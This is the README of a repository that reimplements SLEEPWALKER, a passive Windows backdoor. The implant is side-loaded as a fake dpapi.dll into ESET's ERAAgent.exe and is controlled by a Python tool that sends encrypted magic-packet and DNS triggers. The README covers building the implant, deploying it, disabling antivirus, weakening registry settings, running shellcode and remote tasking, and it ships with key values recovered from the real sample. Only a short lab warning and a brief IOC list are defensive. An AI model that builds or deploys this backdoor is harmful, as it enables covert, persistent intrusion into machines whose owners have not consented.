A passive backdoor with its own command language, reimplemented from the original write-up by R136a1.
This repo contains:
- The implant —
src/is a 64-bit Windows DLL that impersonatesdpapi.dll, is side-loaded intoERAAgent.exe(ESET Management Agent), and carries a 23-opcode bytecode interpreter plus a custom AES-256-CCM command language. - A Python controller —
tools/swctl/compiles human-readable commands into that bytecode, encrypts them, frames them for a transport, and sends them to a target.
⚠️ Security note. SLEEPWALKER is offensive-security tooling. Use it only in an authorized lab / engagement you own. It side-loads into a legitimate ESET component, weakens Windows security settings, and runs attacker-supplied code in memory. Do not deploy it on machines you do not control.
Architecture recap (from the blog)
- The DLL checks that its host process is named
ERAAgent.exebefore doing anything. - It opens no listening port and contacts no server. Its embedded
configuration decrypts to a single bootstrap instruction:
SNIFF_MAGIC_PACKET— watch every interface, forever, for a magic packet. - It sniffs raw traffic (
SIO_RCVALL) for a trigger packet that passes six gates (length, XOR-derived length, SUM marker, CRC-32, then AES-256-CCM decrypt). Only a matching packet wakes it. - A separate opcode (
SNIFF_MAGIC_PACKET_DNS) also enables a DNS trigger hidden in ordinary-looking DNS queries. The embedded bootstrap does not enable DNS; you must deliver a task that runs the DNS-aware opcode first. - Once triggered, it runs the decrypted bytecode program, which can schedule, send data over TCP/UDP/ICMP/named pipes/VMCI, receive follow-up tasks, stage+verify files with SHA-256, decompress, and run shellcode.
All encryption is AES-256-CCM with a key recovered from the real sample
(see tools/swctl/core.py and include/sw_core.h).
Key configuration (implant + controller)
The four static key values are shared between the implant and the Python
controller through a single config.json at the repo root (see
config.example.json):
| field | controls |
|---|---|
aes_key |
AES-256-CCM key (all envelopes) |
config_nonce |
fixed nonce for the embedded bootstrap |
cron_xor_key |
repeating XOR mask for CRON_SCHEDULE |
sniff_xor_const |
magic-packet length-gate constant |
Every field is optional: an empty/absent value falls back to the built-in
defaults, so a stock config.json (or no file at all) reproduces the
original key values and the same sealed bootstrap block. To customize,
fill in the fields, then:
- Implant —
make win32regeneratesout/sw_config_values.hfromconfig.jsonand splices it into every translation unit; the embedded bootstrap block is re-sealed with the active nonce. - Controller —
tools/swctlandtools/sw_tui.pyread the same file at runtime (override the path withSW_CONFIG_FILE).
Inspect the active values with python3 -m swctl keys (or --json).
The TUI exposes the same info under option [k]. The implant and
controller must agree on the active values — change one and rebuild the
other side.
Behavioral notes (impl vs. the blog)
Where the blog leaves room for interpretation or describes quirks, this reimplementation makes these choices:
SNIFF_MAGIC_PACKET(0x87) sniffs only the raw trigger.SNIFF_MAGIC_PACKET_DNS(0x88) sniffs both raw and DNS (the blog: "does everything the instruction above does and also watches for the DNS-based trigger"). The sniff mode is per-worker, so enabling 0x88 from a follow-up task leaves the bootstrap's 0x87 raw listener running.- DNS header validation requires a standard DNS question header
(
QDCOUNT=1,AN/NS/ARCOUNT=0) before the qname is parsed, matching the blog's "asks exactly one question and claims no answer, authority or additional records". VirtualProtect(used byRUN_SHELLCODE) is resolved by name at runtime rather than listed among the normal imports, matching the blog's "three function names the file never lists among its normal imports".- The DNS carrier is delivered as a UDP A-query; the blog notes the real code never skips the TCP length prefix, so TCP DNS is effectively broken there. This build accepts a well-formed qname regardless of carrier.
- A
sw_worker_startguard prevents the "duplicate-worker" startup the blog describes (the DPAPI export path still re-runs the check; it is just a no-op if the worker already started).
Repository layout
src/ C implant source
sw_core.c crypto (AES-256-CCM/SHA-256/CRC/base32), magic packet, DNS codec
sw_bytecode.c the 23-opcode interpreter
sw_net.c Windows networking (TCP/UDP/ICMP/pipes/VMCI + registry weakening)
sw_win32.c DllMain, dpapi exports, raw-socket sniffer
sw_lzma.c LZMA decoder
include/ shared headers (sw_core.h, sw_impl.h)
tests/ native unit tests (make test)
tools/swctl/ Python controller (make controller-test)
tools/launcher.c demo ERAAgent.exe loader (make demo)
build/ bootstrap emitter (builds the embedded encrypted config)
Prerequisites
Implant build host (macOS/Linux):
x86_64-w64-mingw32-gcc+windres(cross-compiler for Windows). On macOS:brew install mingw-w64. On Debian/Ubuntu:apt install gcc-mingw-w64-x86-64.
Operator (where you control the implant):
- Python 3.9+
- For the raw magic-packet transport only:
pip install scapy. Everything else (dns,tcp,udp) uses the standard library.
Target (the infected machine):
- 64-bit Windows.
- ESET Management Agent installed (
ERAAgent.exe), or a test harness namedERAAgent.exe(see Lab setup).
Building
# Native unit tests (macOS/Linux)
make test
# The 64-bit Windows DLL -> out/dpapi.dll
make win32
# Python controller self-tests (verifies against the blog's published vectors)
make controller-test
# Demo bundle: ERAAgent.exe loader + SW_DEMO dpapi.dll -> out/demo/
make demo
make win32 produces out/dpapi.dll and also embeds the pre-sealed
bootstrap (the encrypted SNIFF_MAGIC * 0 instruction) via
build/emit_bootstrap.c.
Lab setup
A minimal lab has two hosts on the same subnet:
┌─────────────────────────┐ ┌──────────────────────────┐
│ Operator (macOS/Linux) �� packet │ Target: Win x64 VM │
│ tools/swctl (python) │ ───────►│ ERAAgent.exe + dpapi.dll │
│ e.g. 192.168.1.50 │ │ e.g. 192.168.1.100 │
└─────────────────────────┘ └──────────────────────────┘
1. Prepare the target
- Create / provision a 64-bit Windows VM (isolation recommended).
- Install ESET Management Agent (or, for a lighter lab, install any
program whose executable you can rename to
ERAAgent.exe— the check is only on the process name, not the signature). - Disable or allowlist Windows Defender / AV on the VM for this test, and
run the process as Administrator (raw sniffing via
SIO_RCVALLneeds admin). - Make sure the VM and the operator can reach each other on the network (same subnet, firewall rules permitting the traffic below).
2a. Deploy with real ESET Management Agent
Copy the built DLL into the same directory as
ERAAgent.exeand name itdpapi.dll:# from the ERAAgent install dir (adjust path) copy C:\path\to\out\dpapi.dll C:\Program Files\ESET\ManagementAgent\dpapi.dll(Recommended) Copy the genuine
dpapi.dllfromC:\Windows\System32beside it, renamed todpapisvc.dll:copy C:\Windows\System32\dpapi.dll C:\Program Files\ESET\ManagementAgent\dpapisvc.dllThis is the DLL the implant's seven DPAPI export stubs try to forward to. If something calls one of those functions and
dpapisvc.dllis missing, the resolver callsExitProcessand the host dies. Supplying the renamed real DLL avoids that in the lab.Start the agent. The DLL is side-loaded when
ERAAgent.exeloadsdpapi.dll, and itsDllMainchecks the process name before activating.
2b. Demo without ESET installed (no process-name dependency)
Two options, both self-contained in out/demo/:
Option A — bundled loader (make demo). Run the supplied
ERAAgent.exe (it is named ERAAgent.exe, so the real host-name check
passes) from the same directory as dpapi.dll:
cd C:\path\to\out\demo
.\ERAAgent.exe
The loader calls LoadLibraryW(dpapi.dll), DllMain runs, the name check
passes, and the implant starts its sniffer. This keeps the implant's
original gate intact.
Option B — SW_DEMO build. The out/demo/dpapi.dll is compiled with
-DSW_DEMO, which bypasses the ERAAgent.exe check entirely. You can load
it from any host — a stub, rundll32, a debugger, etc.:
# load via rundll32 (any of the exported entry points)
rundll32 C:\path\to\out\demo\dpapi.dll,CryptProtectDataNoUI
regsvr32still won't work on either build: the DLL exports only the seven dpapi functions (noDllRegisterServer/DllUnregisterServer), and on the non-demo build the host name wouldn't beERAAgent.exeanyway.
For SW_DEMO, keep the process alive after loading so the sniffer thread
can run (a debugger or a script that holds the DLL loaded works; the
bundled loader keeps itself alive).
Verifying it loaded (optional). Attach a debugger or use Process Explorer to confirm
dpapi.dllis loaded. The implant itself is silent and opens no socket you can see, so the easiest positive test is the first trigger below.
3. Install the controller
cd tools
pip install scapy # only needed for the raw magic-packet transport
python3 -m swctl --help
For the interactive TUI console, create a venv and install its two dependencies (prompt_toolkit + rich):
cd <repo root>
uv venv .venv
uv pip install --python .venv/bin/python prompt_toolkit rich
.venv/bin/python tools/sw_tui.py
Interactive TUI console
tools/sw_tui.py is a prompt_toolkit/rich interactive console that builds
task programs from the 23-opcode language, compiles them, and sends them over
any trigger channel, plus restarts the implant.
.venv/bin/python tools/sw_tui.py
Main menu:
[1] Build & send a program - pick opcodes, fill params, send
[2] Quick-send raw DSL - paste a DSL program and send
[3] Restart implant - schtasks /End + /Run
[4] Send over a specific transport
[5] Show compiled program from DSL (compile + render the tree, no send)
[c] Configure target / ssh credentials
[q] Quit
Example build-and-send flow (option 1):
opcode name, 'done' to finish, 'list' to re-show: UDP_SEND
UDP_SEND: local addr [*]: <Enter>
UDP_SEND: local port [*]: <Enter>
UDP_SEND: remote host: 192.168.1.50
UDP_SEND: remote port: 9100
UDP_SEND: payload: 0xdead
UDP_SEND: deadline [0]: <Enter>
opcode name ...: done
transport [magic/tcp/udp/dns]: magic
The assembled program is compiled, its decoded tree is printed, and it is
sent (default: magic-over-UDP to CFG.magic_port, the six-gate trigger).
Configuration can also be set via environment variables before launch:
SW_HOST=192.168.1.100 SW_USER=operator SW_PASS=ChangeMe123! SW_MAGIC_PORT=9999 \
.venv/bin/python tools/sw_tui.py
Controlling the implant
The controller has three subcommands:
python3 -m swctl build script.dsl [--transport magic|dns|tcp|udp] [--hex] [--tree]
python3 -m swctl send script.dsl --transport <t> --host <target> [--port N] [--pipe P]
python3 -m swctl decode <bytecode-hex>
The DSL
One instruction per line. Strings are quoted or bare words; numbers may be
decimal or 0x hex; binary blobs use 0x… or hex:…; nested programs go
in { … }. Comments start with #.
# Listen for the raw trigger forever on every interface
SNIFF_MAGIC * 0
All 23 opcodes are supported (SLEEP_SECONDS, REPEAT_N, CRON_SCHEDULE,
TCP_SEND, UDP_SEND, ICMP_SEND, PIPE_SEND, TCP_CONNECT_RECV,
TCP_LISTEN_RECV, UDP_BIND_RECV, PIPE_CLIENT_RECV, PIPE_SERVER_RECV,
STAGE_WRITE, STAGE_VERIFY_EXEC, DECOMPRESS_RUN, RUN_SHELLCODE,
RUN_FILE_SCRIPT, SNIFF_MAGIC, SNIFF_MAGIC_DNS, …).
Scenario A — the primary trigger (magic packet)
The implant’s bootstrap already runs SNIFF_MAGIC * 0, so the raw magic
packet is your first command path.
# sleep.dsl
SLEEP_SECONDS 5
cd tools
python3 -m swctl send sleep.dsl --transport magic --host 192.168.1.100
The controller encrypts SLEEP_SECONDS 5, wraps it in the six-gate magic
packet, and sends it to the target’s interface. When the implant’s sniffer
sees a matching packet it decrypts and runs the program.
To see exactly what is transmitted first (no send):
python3 -m swctl build sleep.dsl --transport magic --hex --tree
Scenario B — enabling and using the DNS trigger
The embedded bootstrap is raw-only. To use DNS you must first deliver a task that runs the DNS-aware listener (via the magic packet or any other active channel):
# dns_listener.dsl
SNIFF_MAGIC_DNS * 0
python3 -m swctl send dns_listener.dsl --transport magic --host 192.168.1.100
Now the implant also watches DNS queries. Send follow-up commands hidden in a DNS A-query label (works even where only DNS egress is allowed):
python3 -m swctl send sleep.dsl --transport dns --host 192.168.1.100 --port 53
Scenario C — receive a follow-up task over TCP
A running task can tell the implant to listen for a follow-up program:
# server.dsl
TCP_LISTEN_RECV 0.0.0.0 8443 0
python3 -m swctl send server.dsl --transport magic --host 192.168.1.100
Then the operator sends the next program to that port:
python3 -m swctl send next.dsl --transport tcp --host 192.168.1.100 --port 8443
Decoding what you sent / captured
python3 -m swctl decode 0e000000000000000100000200fffffffe3e039dfdc1
renders the annotated tree (the CRON_SCHEDULE example from the blog).
Lab troubleshooting
| Symptom | Likely cause / fix |
|---|---|
| No reaction to the magic packet | Implant not running as admin (needs SIO_RCVALL); firewall blocking; operator not on a path to the interface; wrong host. |
ERAAgent.exe exits on startup |
A DPAPI export was called and dpapisvc.dll is missing — deploy the renamed real dpapi.dll as dpapisvc.dll. |
| Implant never activates | Host process is not named ERAAgent.exe. Use the make demo bundle (SW_DEMO bypass) or rename your loader to ERAAgent.exe. |
regsvr32 says DllRegisterServer was not found |
Expected — the DLL exports only the 7 dpapi functions. Use the make demo loader or rundll32 instead. |
| DNS trigger does nothing | Bootstrap is raw-only; deliver a SNIFF_MAGIC_DNS task first. |
| AV blocks/removes the DLL | Disable or allowlist AV on the isolated lab VM. |
Detection (IOC) reference
The blog’s IOCs you can check in the lab:
- An unexpected
dpapi.dllbesideERAAgent.exe - An unexpected
dpapisvc.dllin the same directory HKLM\SYSTEM\CurrentControlSet\Control\Lsa\EveryoneIncludesAnonymous = 1- An unexpected entry in
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\NullSessionPipes
The blog also ships a YARA rule and a read-only PowerShell scanner in its appendix (not included in this repo).
References
- Original analysis and full technical detail: R136a1 — “SLEEPWALKER: A Passive Backdoor With Its Own Command Language” https://r136a1.dev/2026/08/24/sleepwalker-a-passive-backdoor-with-its-own-command-language/
- The recovered AES key, config nonce, and CRON XOR key used throughout this
repo are taken from that write-up (
tools/swctl/core.py,include/sw_core.h).
Comments